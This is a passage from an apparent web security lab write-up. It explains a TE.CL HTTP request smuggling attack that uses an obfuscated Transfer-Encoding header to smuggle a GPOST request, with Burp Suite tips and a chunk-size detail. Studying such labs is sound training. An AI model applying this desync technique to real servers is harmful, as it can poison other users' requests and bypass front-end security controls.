It appears that the frontend is handling the request according to the first Transfer-Encoding header. The backend, however, attempts to handle the request based on the second Transfer-Encoding header, which contains an invalid value. As a result, the backend falls back to processing the request using the Content-Length header.

Now, the goal is to get the HTTP verb to become GPOST by smuggling part of a request.

---

Step 7:

With the obfuscated Transfer-Encoding header, the vulnerability becomes a TE.CL vulnerability, just like in the previous lab.

---

Note:

• The red triangle icon in Burp Suite (when selecting the request body) shows the Content-Length in the top-right panel. This helps confirm your body size matches the specified length.
• The 403 response is the result of the second request being smuggled.
• The first request stores part of the payload and returns 200 OK.
• When the second request is sent, the leftover data from the first request is interpreted as a new request, resulting in a malformed HTTP verb like GPOST and leading to a 403 error.

Final Exploit Explanation

With the Content-Length set to 4, the backend processes the request payload '5c\r\n' and leaves the remaining part of the payload for the next incoming request.

This leftover data includes the malformed HTTP verb GPOST, which is queued.

Since the Content-Length in the GPOST request is longer than the actual payload, the backend waits for more data to complete the request.

When the next request is sent, the server releases the queued GPOST request, resulting in the exploit being triggered and the lab being solved.

---